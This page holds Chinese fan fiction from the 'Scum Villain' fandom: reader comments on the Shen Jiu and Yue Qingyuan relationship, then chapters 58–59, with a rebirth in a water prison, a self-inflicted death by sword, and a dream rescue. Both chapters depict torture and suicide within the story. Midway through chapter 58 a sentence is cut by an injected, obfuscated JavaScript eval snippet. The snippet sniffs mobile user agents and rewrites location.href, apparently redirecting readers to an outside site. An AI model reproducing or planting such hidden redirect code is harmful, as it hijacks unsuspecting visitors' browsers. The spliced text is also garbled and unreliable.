没说你就是阴谋论。因为有些人都喜欢阴谋论掌门,所以我才那么说。至于你说的“拉垮”,七九就是本算不清的帐。你从九哥的角度说,是掌门连累了九哥。但你若从掌门的角度看呢?早期里掌门让九哥糟心,但九哥的抗拒就没让掌门伤心吗?秋家之事,九哥灵骨损伤耽误修炼造成一生影响,弟子七心系故人以命入剑造成一生影响。入了苍穹山早期谁都不开心。洛冰河是沈九惹下的,复仇苍穹派的时候,掌门也受了很大连累,还有最后的血书和赴约。所以究竟是谁连累了谁,谁是猪队友,是不是存在猪队友,真的说的清吗? 哪里阴谋论了,文中说了啊,出发点是好的,做事很拉垮,就如你自己也说了关心的方式让人糟心啊 你这不也说明了他们两个精神沟通不在一条线上,我也没说岳七人不好,我从头到尾说的是做为队友,没有信任,思想交流不到位,存在偏见和误判,从结果上看做事成功率确实低啊,有点像父母爱孩子,对孩子的骚操作,所以这里说的是做为队友拉垮 ……总比魔族好。关于虚伪神马的,我们就各持各的看法吧。 救十五、救岳七的事岳清源一直记得。不过岳清源真是没看到完整的九。但岳清源会无视大会纪律寻着机会去接近九关心九,也不能说他完全不承认九的人品。当然他的关心方式真心让人糟心更让九糟心。长辈们都喜欢九承认九的机敏,很难说岳清源对此不承认。当然如果你要阴谋论我也不多说。 水牢诀别只能说明岳清源更想问清的是柳清歌事件而不是苍穹派的将来,也不能就据此就说明岳清源没将沈九的话听进去、没提防洛冰河吧?岳清源想最后一次确定一下柳清歌事件的答案,然后九哥就直接给了个默认,然后岳清源就误判了。狂傲设定里,洛冰河几次与岳清源对上都没占上便宜,才用九哥威胁。如果岳清源真没提防,怎么会让洛冰河占不到便宜?岳九留白很多,那么这个局面算是岳清源自己看透了洛冰河还是岳清源听了九哥警告? 善良,去救十五算不算,救柳清歌算不算善良,告诉岳七去仙门找出路算不算,知道自己要死了,不想岳七来救他算不算。绝望,当初沈九问他,为什么不来,我等了那么久,我想等你一个解释,算不算绝望,聪明,沈九说洛冰河不会满足他一人,将来整个仙门要起轩然大波,最后洛冰河真的屠了整个仙门,算不算 哪里留白了,岳清原本就是个伪君子,虚伪的修仙门派,还被称为仙门正统,真是恶心,要是哪一天这门派被灭门是很正常的 沈九说了,他不会满足我一人,你看岳七再说什么,他压根从来没认真听过沈九说话内容 至于说岳七看不到九的善良绝望痛苦聪明,是不是有点……论据不足? 然而“未知全貌,不予置评”也就是说得好听说得容易,蓝二做得也不咋好,他对江家咋不“未知全貌,不予置评”。至于花城,是属于洛冰河那种人,除了受并不怎么在乎其他人命,自然也不介意受救不救其他人与其他人关系好不好。沈垣如果要杀人,渣反冰也不会介意估计还会递剑叫好。 虽然但是,“他说洛冰河是天魔,连岳七都不会信”是没原著基础的吧……沈九、岳清源这条线留白太多,真的是,许多事无法证明发生过,也无法证明没发生过。 是啊,做什么都被黑,偏见如山 整个世界,没有一个理解小九的,没有一个相信他的。所以他什么也不说了,他说洛冰河是天魔,连岳七都不会信! 58.脑洞:狂傲末期九重回水牢 浑身皮开肉绽的疼,但能忍受。 沈清秋睁开眼,面前是被捆住的双手,视线外,是流动的水幕。 幻花宫,水牢。 如果他的记忆没出错的话,他应该是失去四肢、割去舌头,对外界没有感知才对。此情此景,是梦魇幻境,还是悟道重生? “小九……” 岳清源从一旁走过来,抓着沈清秋的手腕,准备上药。 沈清秋垂下眼,将手腕从对方手中抽出,脖子弯出弧度,视线扫在对方腰间的佩剑上,低声试探:“岳掌门,今日怎有空来看宗门弃子。” “这才短短一周,你就将自己折腾成这样。”岳清源心疼的扫视沈清秋身上的血迹,手中摸出不少疗伤丹药,递给沈清秋:“我与幻花宫老狐狸商讨时间长了,耽误到现在。清秋师弟别见怪。” 沈清秋冷眼盯着,不说接,也不说不接。 他还没确定当前什么情况,也不知道面前之人是真是假。如果为真,他回来的契机是什么;如果为假,洛冰河那畜生又在玩什么花样? 周身是有刑罚的痕迹,但幻花宫的这点手段,与洛冰河后期在他身上施加的,根本不是一个层次。所以,这个药,不接是最好的。 “清秋师弟,你……还好么?” 岳清源手半悬着,却迟迟等不到人来接。为了缓解尴尬,他又一次抓住沈清秋的手,想要将玉瓶放到沈清秋的手上。 看不出来破绽。沈清秋视线扫到玄肃上,打算闹明牌:“岳掌门且睁开眼睛看一下,沈某如今的模样,可称得上‘好’?” 岳清源瞳孔一缩,面上虽然不显,心中却开始掀起千层浪。沈清秋的表现太奇怪了,不符合以往的认知。 虽然以往沈清秋也是这样阴阳怪气,但从不会将苦难摆在明面上,更不会用这种冷言冷语,冷刺于他。 这是…… 岳清源快速眨一下眼睛,做出判断:沈清秋这一遭,定是折损了不少心力,吃够了苦头。 既如此。 岳清源可以将人带出来,重新封回清静峰,或者穹顶峰后院,继续只有他们两个的生活了。 沈清秋原本在清静峰待着,生活圈只有他们两个人时,多乖啊。现在闹了一通,感受了外面的风风雨雨,总该吃了亏,安生些。 这七天来,他总是提心吊胆,恨不得一天十遍的询问暗中棋子,反复嘱咐要注意分寸。 岳清源其实不太敢赌,害怕一周的时间里,沈清秋能将自己作没了。但三天又太短,金丝雀没折损羽翼之前,是不可能会乖乖回到笼子里的。 就这样揪心着,期待着,害怕着,岳清源在见到生龙活虎、还能跟他打嘴仗的沈清秋后,悬着的心终于放下来了。 苍穹山于情于理都不该保沈清秋,这也是沈清秋问岳清源来见弃子的原因。名声扫地、性情极差,残害同门、灭杀秋府。桩桩件件,都是事实。 而且三个女人。秋海棠是‘残忍灭门’证据;柳溟烟是‘杀柳清歌’证据;宁婴婴是‘虐玩弟子’证据。 这样一个炸弹,苍穹山里里外外,除了岳清源一意孤行的要将人‘押回来’,没一个赞同的。 “小九。”岳清源脸色稍微严肃了些,抓住沈清秋的手腕,给他输送灵气:“闹够了,就该回家了。” “跟我回去?”岳清源一边替沈清秋调理经脉,一边皱着眉头,重新摸出疗伤药,小心翼翼的替他涂抹均匀。 “回?”沈清秋眼角扫过某片阴霾,重新将视线放到岳清源身上:“沈某记得,苍穹所属,对‘沈清秋罪行’,可是无人前来?更有甚者,柳溟烟亲自以‘柳清歌遗亲’身份,替沈某定罪。” “那请问岳掌门,沈某以什么身份,‘回’?” “这些你无需考虑。”岳清源将沈清秋体内经脉修复,捋开沈清秋的胳膊,忍不住叹口气骂道:“该死。” 眼前是各色鞭痕,新旧相加。岳清源想下手,又不知该将伤药涂抹于哪里,有些血痂与衣衫相连,随着他展开衣袖,溢出更多鲜红液体。 沈清秋随即站起身,将岳清源留在背后:“山门罪人,岳掌门还是革了沈某的峰主位,早些回去吧。” “小九!”岳清源想抓住沈清秋的肩膀,又怕伤了他,跨步走到沈清秋面前,坚定道:“你在怪我。” “怪我没有第一时间带你离开。” “怪我之前没有早些去寻你。” “怪我把持着苍穹山掌门,却没能压下其他人对你的闲言碎语。” “是。”沈清秋直视岳清源那种永远温厚平和的脸,心中想到到,是此人最后还是为自己送了命,甘愿承受万箭穿心之苦。 这样的岳清源,永远照顾所有人,被众人崇拜和信赖。像是太阳一样发光发热,吸引所有人眼球,从小到大、正直成长的岳七。 沈九难得不想成为这样的岳七吗? 是他天生刻薄、不够努力,心中见不得别人好吗? 对,是的。就是这样。沈九就是见不得岳七好,更见不到岳七一直这样好。这样白月光一样的岳七,就该死在沈九的记忆里,而非时时刻刻在沈清秋的面前乱晃,提醒他沈九是多么的心肠歹毒! 沈清秋心中的不甘与阴酸控制不住的涌现出来,最后化为利刃,狠狠的切割两人: “岳掌门,沈清秋这种尖酸刻薄、妒忌成性的人,最是见不得您这样温良恭淑、万人推崇的真正君子。” “所以岳掌门,沈某有此下场都是自作自受、报应不爽,不知岳掌门还想作何教诲,披上君子外皮的沈清秋还不够,希望沈九再披上什么样的壳子?” “你——”岳清源忍不住退了一步。 岳清源说的是事实。 沈清秋说的也是事实。 世间最难改变的,就是已成事实的过往。 “呵。”沈清秋重新坐下,万般情愫与算计掩于眼底深处。薄情的眼睑拉成一条细线,尖锐的亮光从中透出: “岳掌门,想要沈九重新回去做笼中鸟,不将窝棚打理干净,沈某还不如继续待在这里。也好过跟那些人勾心斗角,落得个轻松自在。” 岳清源定定的看了一会,忽的半蹲于沈清秋面前,将一众疗伤药放于地上,认真许下当年未完成的诺言: “我会将苍穹山处理干净,修真界那些落井下石、趋炎附势之徒也不会放过。你在这里等我,最多一个月,我带你回家。” 第二次。虽说这次多多少少有岳清源的忽视与算计,但这何尝不是旧景重现,给予岳七一次弥补机会? 若这次他及时解决一切,带沈清秋脱离漩涡,年少的岳七,也算是终于‘救下’沈九,带他‘离开’。 沈清秋手腕带着沉重的铁链,叮叮当当的声音伴随着素手捏起的玉瓶,就像是清静峰上,腕间玉镯相撞的清脆悦耳。 沈清秋悠悠然的将疗伤圣药如酒杯般摇了摇,接着轻轻抿上一口,露出个轻巧的笑容: “那沈某,拭目以待。” 他果然是个坏人,恶劣到了骨子里的那种。即便是到了这种情况,面对着曾经给自己送过命的人。他依旧……将人算计了呢。 这样一来,岳清源的注意力就会在苍穹山。沈清秋后续无论是与洛冰河对上,还是干脆自杀,只要在一个月内,岳清源……都不可能插手。 更不会再出现,为他赴命的情况。 岳清源,你就好好的,当你的掌门去吧。 沈清秋惹下的祸端,以自己性命赔罪就是,何须……搭上整个苍穹山。 “来者是客,不妨露面一叙。” “师尊。” 沈清秋将岳清源打发走后,洛冰河从角落走出来。这家伙不知何时就躲在那里,直到确认岳清源离开,他发声问话后,方才显现。 阴森冷酷的玩意,不知在什么不起眼的地方监督他多久。 沈清秋拥有之后的记忆,不知道这玩意有没有。如果有,这家伙将他拉回来做什么;如果没有,他重生的契机是谁给予? 而且……沈清秋撇一眼规规矩矩行礼的洛冰河,眼里闪过暗芒。 如果沈清秋没感觉错,洛冰河对他,是有男女之情的。不是单纯的师徒,更不是厌恶他的坑杀打压,反倒是……求而不得。 果然是畜生,身边明明已经有了那么多美人,居然还想犯上欺师。真够荤素不忌,什么都不挑的。 “洛、冰、河。”沈清秋盘腿打坐,腰背挺直。一字一顿的,念出对方的具体名姓。 他之前从没喊过他的名字。一个是不乐意,另一个是没必要。双方只要知道对方喊的是谁就够了,至于喊的是什么,根本不重要。 在他沦为阶下囚之前,洛冰河入不了沈清秋的眼;待他成为狱中客,除了洛冰河,沈清秋也见不到其他人。所以喊什么,完全没意义。 当然,喊‘杂种’,要比喊‘畜生’,更能调动对方的暴虐。 所以说,洛冰河最看重的,还是血脉。是生而不养、养而不待、收而不管的,缺失了的长辈情。 “师尊……” 听到沈清秋准确的说出他的名字,洛冰河有些激动。不仅立刻将头抬了起来,连眼眶之中,都溢出水雾。 没办法,他一直以为沈清秋是不记得他,或者说,压根不知道他叫什么的。 尤其是当年拜师的那杯连茶盏带热水迎头浇来的茶,和那句‘我需要记得你的名字吗’。简直是洛冰河一辈子走不出的梦魇,完全不想记得却又怎么样都忘不掉的痛苦回忆。 而今,无论是出于什么原因,沈清秋主动喊他出来,并且还准确无误的说出他的名字。是不是证明,沈清秋是记得他,重视、或者说终于看到了他? “呵。”沈清秋看见洛冰河清澈到单纯的眸子,瞬间知道这家伙应该是没记忆的。 毕竟这家伙的眼里,居然有‘感动’和眼泪浮现。如果换成长大那个,怕是要立刻警惕起来,冷声问他‘玩什么花样’。 拥有一切的魔尊,即便是如同面前这个傻子一样想要得到长辈的关爱,也不可能轻易将它表达出来。而一旦这个事情被沈清秋发现,魔尊的隐秘想法,就会成为沈清秋刺向他心口的一把刀。 “洛冰河。” 沈清秋已经将岳清源安排妥当,只要苍穹山没失去岳清源这个掌门,即便清静峰有什么变故,苍穹山也不会因此落败。 故而,沈清秋现在需要做的,就是攻略洛冰河,让他给自己干活;或者干脆让洛冰河将罪责全部推到自己身上,然后他以命赔罪,保全其他人。 “弟子在。”洛冰河眼睛睁得大大的,手掌握成拳,悄咪咪的捶了一下大腿侧边,在确定此情此景为真后,笑的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360229|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明媚又阳光: “师尊有何吩咐?” 正常流程,沈清秋应该配合对方的表现,展现一副‘师慈徒孝’的画面,然后诱导对方替自己打开牢门,放他出去。将‘利用’和‘算计’写到故事里,让‘单纯可爱’的小弟子替他顶缸。 接着,小弟子被众人为难,却死咬着‘沈清秋踪迹’不松口,遭受无尽责难后逃出生天。却被冷心冷肺的人渣师尊给无情卖掉,完成‘单纯弟子’到‘背叛黑化’的性情转变。 只是沈清秋并不想和洛冰河玩这样的游戏,而且洛冰河也不是什么真正白莲,这家伙切开看,别说心,血都是黑的。故而,他只是睁开眼,紧盯着洛冰河那双看起来极其清澈的眸子: “别装了。” 在看到洛冰河有些破裂的完美笑颜,沈清秋加大追击力度:“你花这么大功夫设局,不就是觉得我对你不好?” “那么。洛冰河,我给你个机会。” 沈清秋伸手抽出洛冰河腰间的配剑,反向将剑柄推到洛冰河手中:“诺,杀人不过头点地。看着那些刑罚加身却怎么也死不掉,不过瘾吧?” “给你亲手杀死我的机会。或者你将秋海棠喊来,看着她杀掉我。灵魂寂灭,招魂也寻不回的那种。” 洛冰河的面容已经变得极其难看,那是一种心事被人揭穿,窘迫中夹杂着恼怒的愤满。沈清秋总是能一眼看穿他的伪装,无论是清静峰小弟子,还是幻花宫首徒,明明洛冰河的伪装已经炉火纯青到所有人都看不出来了的。只是还来不及细思,沈清秋已经主动握着他的手,对着心口,将剑送了进去。 “???” “!!!” 洛冰河刚感受到手背传来的温热,来不及心猿意马,想些‘沈清秋主动拉洛冰河手’之类的颜色废料,就感受到另一股滚烫的腥味迎面而来。 他猛的手腕一松,剑尖牢牢的卡在沈清秋心口,甚至随着他的动作,又喷射出更多鲜血,溅得两人身上全是大片血污。 “洛冰河。”沈清秋笑得极其猖狂。重来一世,无论活不活得了,他至少做到不连累其他人。而今,无非是以性命为赌,all in。 “莫说无尽深渊之前,即便是联审之上,我都没说出你的血脉。天魔现世,你父亲什么情况……” “别说了!”洛冰河一把抱住险些摔在地上的沈清秋,看着胸口的剑不知道拔还是不拔。不拔,他会一直切割心脏,心脏破碎,无人能活;拔下,失去阻拦的血液会立刻涌出,大出血,亦是活不了。 “咳咳……”沈清秋口中涌出大量血腥,被他咽下去:“你的仇恨,我用命赔了。其他人的错误,皆是我指使;而今,人死如灯……” “张嘴!”洛冰河割开手腕,大量蕴含着生命本源的天魔血喂到沈清秋嘴里:“你活着,我就不找他们的麻烦;你死了,他们一个个都别想活!” “咳,”沈清秋用最后的力气推开唇边的手腕,以性命为筹码,要求洛冰河立下誓言:“如果你找其他人麻烦,哪怕是一个人,招魂的机会都不给你。” “……” 丫的。沈清秋的决绝一如既往。 不喜欢他,就从头到尾都不曾看他一眼;坚定不服软,在死去所有亲朋好友、艰难独活、受尽折磨后,依旧不松口。现在,他要求死,就绝不可能给洛冰河救活他的机会。 或者说,沈清秋就是要死在‘洛冰河’手上,死在幻花宫水牢。 而沈清秋口中的‘招魂’,无非是以秘法将魂魄保存下来,重新以埋在地里的躯体,或其他神奇灵物培养出与‘沈清秋’截然不同的……身躯。 他现在不仅是要洛冰河放弃仇恨、不准动苍穹山的一草一木,更是连‘沈清秋’、‘沈峰主’的身份都不要了。 苍穹山放弃了他,所以他干脆死在外面。以决绝的死亡,保全‘清静峰之主’最后的体面。为下一任清静峰主人,做最后的找补。 明帆究竟有那点好,值得沈清秋这样为他铺路?将清静峰给了他不说,还要用血洗刷‘上一任清静峰主’留下的恶名? 岳清源究竟哪里好,沈清秋干脆自绝,免去他为‘年少之谊’奔走、对抗的波折,直接死遁,保全苍穹所有人? 手腕的血液汩汩流出,与沈清秋满身的鲜血交杂在一起,洛冰河眼里满是复杂的抉择。 天魔血能救人。 但救不活完全不想留在尘世的人。 天魔血能治伤。 但治愈不了心脏完全破裂、全身血液尽皆流干之人。 他可以强留沈清秋存活。 但……幻花宫的环境并不安全。一不小心,沈清秋救不活,他也因暴露血脉、失去血液本源后被其他人击杀。 算了,沈清秋不是给他留了‘招魂’的机会吗。清静峰主太累,凡人沈清秋,总归能看见他的。 “好。”洛冰河看着失去血色的沈清秋,唇色已接近苍白。静静的将人搂在怀里,小心翼翼的亲一口对方的额头: “您一定要等我。如果弟子始终寻不到您的魂魄,弟子会疯的。” “君子一言……” 沈清秋费力睁开眼睛。虽说他们两人都不算真正的君子,但对于承诺,都看的很重。 洛冰河伸手,与沈清秋已经自然下垂的手腕十指相扣: “驷马难追。” 59.梦魇之地 洛冰河睁开眼,是一个堆积着无数柴火的房间。 他这是,又因为得罪了沈清秋被丢在了柴房? 讲真,他都要无语了。 沈清秋对他的不喜真是从一而终,他从一开始的想要亲近到后面的恨不得远离,愣是被对方逼出谨慎到极致、干活一点可被挑剔的地方也没有。 沈清秋绝对跟他有仇,占据峰主之位忙得看不见人影,难得露面一次还没事找他的茬! 偏生他占据上位者和‘尊师’的名头,洛冰河还什么都说不得,只能想方设法将分配给他的活计处理的让所有人挑不出错,在对方如x-射线的扫视下,夹着尾巴做人。 不过今天这个地点好像不对劲,有些过于烦乱了。他为了最大程度让自己舒服,柴房收拾的还是很整洁的,面前看起来又脏又乱,地上还躺着一个跟死狗似的少年。 等等?有人? 洛冰河轻轻走过去,看着一身苦役服——啊,是凡尘下人服饰的少年。跟自己一样被上位者打得遍体鳞伤。只是他没有洛冰河幸运,怕是连个伤药都没人送。 算了。谁让他好心呢。洛冰河打来清水替人处理伤口,等他整理那张脸的时候,愣住了——这,是沈清秋? 相当的幼态和稚嫩,或者说,他是少年沈清秋。 所以,他在沈清秋的梦里?这个认知冲刷着洛冰河的神经。 白日里,沈清秋苍白的脸庞、看起来潇洒的用剑撑着身体,以及那句轻飘飘的‘你去’,差点让他死在擂台之上。 可是沈清秋不是晕倒后被岳掌门带走了吗?洛冰河又怎会入他的梦境? 手腕突然被人握住,洛冰河低下头,看着突然睁开眼的‘少年沈清秋’,一双漆黑的眸子里,有着别样的警惕和被人入侵私人空间的抗拒:“你是谁?” “我?” 洛冰河看着他的小师尊,突然觉得有趣:沈清秋,你白天那么针对我,我若是在少年的你身上‘讨’回来;清醒之后的你,怕是要气死吧? “来救你的人。”莫名其妙的,洛冰河说出了与想法完全不同的话语。 大概是——想要获得清醒后沈清秋的赞扬,或是看不得沈清秋如此凄惨,和想不到沈清秋年少时居然比他还可怜吧。 沈清秋,我向你投注善意,助你早些于噩梦醒来。睁眼之后的你,别忘了还回来。 “真的?”少年沈清秋眼中星光点点,很轻易就相信了。或者说,他等待‘有人来救他’已经太久,哪怕只是一句谎言,他也愿意相信:“是七哥让你来的吗?” “七哥?”洛冰河咀嚼着这个词,眼帘垂下:“不是。” 虽然借其他人的名字能够快速打开少年沈清秋的心门,但不知为何,他就是想让沈清秋知道,救助他的人,是洛冰河,而非莫名其妙出现在他口中的‘七哥’。 “那你是谁?”少年沈清秋将翻脸不认人展现的淋漓尽致,在得到洛冰河的否认后,立刻将洛冰河推远,并顺手从一旁抓起藏起来、打磨好的木棍:“说!你有什么目的!” “洛冰河。” “哈?” “我说,”洛冰河异常执着:“我叫洛冰河。” “哦。你叫什么关我什么事?”少年沈清秋完全不在乎这些,只手中拎着木棍,满脸警惕的看着他:“你突然出现在这里,究竟有何贵干?” “带你走。” “?”少年眼里的疑惑与不可置信是那样的明显:“除了七哥,会有人冒险进来,就为了带我走?” “……”如果对方不是长着沈清秋的脸,又与沈清秋那副恶劣的性子如出一辙,而且此地还疑似沈清秋梦境的话,洛冰河其实也不一定救的。只是他肯定不会那么说: “我的目的,就是带你走。”至于其他的算计,英雄论迹不论心,不必跟对方说。 少年眼球咕噜噜的转着,一看就是在打什么鬼主意。等他思考清楚,又从一旁摸出个更小更圆润的木棍换到手里,一脸‘劳资给你这个面子’的表情,高傲的仰着下巴:“那就信你一回,走吧。” 洛冰河对此不置可否,转身就走。沈九从一旁捞起小心保管的干净衣衫,珍重的穿戴整齐,整个人看起来就像是正常且普通的少年郎。 两人小心的躲避着旁人,有一搭没一搭的聊着: “你叫什么。” “沈九。” “这是哪?” “你连这是哪都不知道,还敢说是来救我,带我走?怕不得是想拖累我,让我跟你一样被抓回来再挨顿打吧?” “...”洛冰河随手施展了一道灵力,将门口的守卫打晕:“现在呢。” 丫的,沈清秋的性子真是从小就这样,完全不在乎你说什么。除非你给他摆在眼前,要不然他只会用怀疑的目光死死盯着你,然后给你挑错找茬。 “你是仙人!”沈九的声音充满了雀跃,看向洛冰河的眼神满是惊喜:“原来真的会有仙人听到苦难之人的祈祷,现身带信众脱离苦海!” “...”什么乱七八糟的,洛冰河皱了皱眉头。沈清秋年少之时就这个样子?完蛋了,他对沈清秋的高冷滤镜破碎了,怕是以后都不能将他当成高高在上的仙尊了。 不过,如果沈清秋清醒之后,记得‘沈九对洛冰河欢呼雀跃’——很难说对方究竟会因为这件事善待他,还是恼羞成怒一鞭子抽过来啊! 丫的,他不会给自己找麻烦了吧? “这里可有什么你惦记的人?”洛冰河决定主动出击,多掌握一些对方的黑料,保证之后沈清秋翻脸不认人的时候,让沈清秋黑料满天飞! “若说的话,秋小姐温柔似水、端庄儒雅,对下人一视同仁,待人极好。” “呵呵。”洛冰河一眼就看出来‘沈九’的小心机,直接戳破:“人家那样的天之娇女,犯得着与你这等仆役一般见识?” “这不一样!”沈九据理力争:“她会在少爷打我的时候制止,还会派人给我送伤药。” “哦。”洛冰河并不想听沈清秋述说他年少的风流事,对此感觉淡淡。却不料沈九却反问于他:“那仙人,你可有什么惦记的人?” 看着对方满是八卦的眼神,洛冰河第一时间想起养母,只是他曾经对沈清秋说过,被一杯茶狠狠打醒。想来少年沈九与沈清秋一样的性子,压根不喜欢长辈恩情,他还是莫要再犯一次忌讳了。 “我师尊待我‘极好’。”洛冰河昧着良心替对方找补,不忍回想的闭上眼睛,期待着对方赶紧醒来吧,这些话他自己不好意思说、对方就能面无表情的听了吗: “他学富五车,御下极严,对任何事情都要求尽善尽美,如果有令他不满意的,会被打回重做。”当然,这个‘打’,是动词。 随着洛冰河将自己恶心的不行的睁开眼,身后跟着的小尾巴已经消失了。 呵,小骗子。 洛冰河就知道,他那面容俊美心脏极黑的师尊啊,即便是将他带出来,也无非是借他之手出逃而已。说什么仰慕仙人,想跟他聊天谈心,无非是令他放松警惕,进而找到机会就跑。 随着洛冰河在城里转弯,他看见少年沈清秋正与一群衣衫褴褛的乞丐据理力争。 “呦,九爷这是发达了?既然混出人样,咋的还巴巴跑过来,怕不是当了逃奴?” “哎,喊什么爷啊,就凭沈九这张脸皮,那得喊‘角’!楚馆内必得站的头衔!” “别这么说,指不定啊,那天那个恩客过来将你的狗牙拔了,看你还如何啃馒头!” 洛冰河看着被嘲讽的满脸通红、双手蜷成拳头的少年沈清秋,眼里满是看好戏的乐趣:沈清秋啊,你这些料还真挺猛,看来你与苍穹山掌门的那些传言,究竟有几分真假? “我只问你们,岳七呢。”沈九压抑着想揍过去的念头,再次重复:“岳七在那条道?是东三门还是西巷口?十四十五可跟着他?” “九爷问话呢,哥几个咋不回答啊?”“就是,那可是九哥啊,能打敢拼,以前能打趴一众人的九~哥~啊~” 几人笑得前俯后仰,指着自己的破烂衣衫和面前的破碗:“沈九啊,你得了青云路,就忘了曾经跪在这里样子?做人可不能忘本啊!”“你如今一身华裳,难不成还能舍下这身漂亮衣衫,跟我们搅一起不成?” 他们说得对。洛冰河站在破庙的阴影里,冷眼看着这一切。沈清秋,位居首位的沈峰主,你当真能直视曾经的过往,抛开一切,跟这群烂人牵扯吗? “所以你们也不知道,是吗?”沈九的表情被光阴所掩,手中的木棍被重新捏起:“既然如此,倒也没必要继续留着。” 如洛冰河所料,‘沈九’舍不得这身朴素却完整的外皮,选择压下愤怒,转身向外走去。这是正常的,毕竟任何人被狗咬了,有点理智的都不会去咬狗。当他面前明显是狗屎的情况下,任何人都不会去踩踏。 所以,沈清秋,你的选择是对的。除了憋屈些,并不会有别的意外。只是洛冰河心中总觉得不对劲——按照他对沈清秋的了解,即便是少年沈九,也不像是大度到能容忍其他人言语讽刺的性子。 要么就是现在的沈九是真的舍不得这套完整衣衫,要么,就是那个‘岳七’已经重要到沈清秋可以忽视所有不舒服。 沈九持着木棍向外走去,几个乞丐互相使个眼色,将他包围起来: “九哥既然大驾光临,哥几个怎么能亏待了您?”“反正您都回来了,不如好好住几天,也别想着当什么出淤泥而不染的莲花,咱们谁不了解谁啊,就算是插上鸡毛也变不成凤凰!” “所以。”沈九的下颚骨在光线的打磨下极其清晰且凌厉:“你们是真忘了当初跪地求饶的样子,需要我替你们回忆一下。” 当沈九满身血走出来的时候,眼里的冷厉还没消除:“仙人?” 洛冰河看一眼被他打得七零八落的乞丐们,其中有几个身姿比沈九要强壮得多。当然,沈九脸上青青紫紫,原本整洁干净的衣衫也被恶意划烂,搭配着那张来不及擦去血迹的脸,看起来就像是地狱里爬出来的恶鬼。 “你甩开我,就是为了找他们?” “仙人既然知道,又何必多问?” “那如果,我能替你找人呢?”洛冰河瞳孔有些深,他好像看不懂、或者看的懂沈清秋了。他这不择手段、玩命狠厉的凶劲,真是对别人狠,对自己更狠。 对沈清秋而言,翻脸不认人算什么,得不到想要的甚至恨不得直接弄死你。现在的少年沈九是这样,成为清静峰之主的沈清秋也是这样。相当的强横霸道,完全不允许有任何忤逆自己的存在。为了维护绝对的‘老大’地位,能用悍不畏死的架势,去咬掉对方的头颅。 “那仙人想要什么。” “什么?” “世间万物都是等价交换。”沈九的脸上血迹已经开始干涸,将他的表情凝结成令人看不懂的诡异:“秋少爷想看韧性十足的修真者在自己手下生不如死,那些人想让爬上岸边的幸运儿重新跌回泥潭。” “那么,仙人你呢。” “你又想要,或者说,希望我做什么呢。” 寒风起,太阳的落幕从来都很快。而失去阳光照耀,只需要短短几个瞬间,黑暗就会席卷一切。在月亮还没升起的时刻,这样的漆黑与黎明前的黑暗没什么区别。 当然,也是有的。 黎明前的那个,起码还能知道太阳一定会升起。而当下的,却只能等到漫漫长夜。 “你——”洛冰河忍不住退了一步。 他看见过不屑又慵懒的扫他一眼,薄唇轻起令人将他拖下去打的沈清秋;见过随手将他精心制作的东西丢在地上,评为‘垃圾’的沈清秋;见过眼中完全没有他,直接将他忽略得彻底的沈清秋。 那么多高傲也好、无视也好,不屑也好、厌恶也好的沈清秋——无一,像是面前的沈九一样,用那双能看透人心底的眸子,问他‘想要他做什么’。 等价交换。 原来这才是沈九、沈清秋的生存处事。 为什么洛冰河怎么表态,沈清秋都无动于衷?因为沈清秋压根不在乎他。 为什么洛冰河明明带沈九离开,沈九却还是自己跑掉?因为沈九不相信他。 在沈九的底层逻辑里,他不相信会有‘岳七’之外的人会为他深陷险地;也不相信洛冰河会莫名其妙的想要救赎于他;更是在再次见到‘救命恩人’之后,用那双无情冷漠的眸子,问他要什么样的报酬。 与其说沈九不相信洛冰河。 不如说沈九不相信自己。 沈九不相信会有人无条件的选择他,不计回报的救赎他。 而现在,少年沈九,尚未清醒、依旧在恶梦中困着的沈清秋,问洛冰河要什么。 洛冰河感觉自己的嘴角动了动,发出干涩的声音:“我只是,要救你。” 是的,他的一切只是为了将沈九拎出来。等沈清秋清醒后,自然会给他报酬。所以面对眼前的沈九,他还真是无欲无求、只打算帮忙。 “是吗?”他看见沈九勾起嘴角,月光照射于他染血的面容上,格外瘆人:“那仙人可真好心呢。” “不求回报。如此善良。” “……”洛冰河硬着头皮回复:“都是师尊教得好。”我都已经这样夸你了,你要是醒来后依旧那样对我,就真说不过去了! “是吗。”沈九一步一步缩短距离:“你的眼睛告诉我,你所图甚大。可我一个手无缚鸡之力的凡人,又能让仙人图谋什么呢?” “……”这家伙是精神分裂还是黑化?白天还好好的,跟那些人打了一架愣是让他开出个金色传说? 洛冰河眼皮疯狂跳动,不敢与对方直视。努力尝试着将话题引走: “那些人欺辱你,你已然报复回来。是需要我替你杀了他们吗?” “还有那个责打你的秋少爷,要不要一并杀死?” “仙人还会杀生啊。”沈九笑了: “那仙人知不知道,你眼睛里的恶心与厌恶,比什么都明显呢。秋少爷对在下是得了玩物的欺凌,您对沈某的算计,比他可深沉多了。” “???”洛冰河侧身躲避沈九砸过来的棍子,反复思索:所以他压根没能抑住对‘沈清秋’的厌恶,从见面那刻就让沈九察觉到了这一点,所以开启了沈九逃跑、再次被追上后黑化,甚至打算反杀他的路线? 两人对打起来。 沈九从一开始就不相信洛冰河,即便是借他逃出秋府,也是利用大过恩情。如果洛冰河说一些他能够接受的报酬,沈九还愿意陪他演下去。可惜洛冰河的死活咬牙坚持‘只是为了救你’,直接点燃了沈九的雷点。 世间之事都是如此,无事不登三宝殿。另有〈无事献殷勤,非奸即盗〉,洛冰河越是不说,沈九就越是认为他徒谋良多。叠加洛冰河眼里对‘沈清秋’遮掩不住的厌恶,和夸赞一次犯一次恶心的白眼,沈九在打完一架后也懒得伪装,直接选择打明牌。 洛冰河亦是委屈。他已经放下恩怨,去将少年沈九救出来,甚至还在对方言语试探之时昧着良心夸奖成年体的他。即便如此,还是没有获得他的信任,被他一路怀疑。 难道在现实中挨打,在梦境中还要挨打吗?凭什么沈清秋总是莫名其妙就要揍他,而他却丝毫不能反抗? 洛冰河不。他今天就是要逆反一回,哪怕出去之后被打个半死,今天这一场,他也要跟对方直接杠! 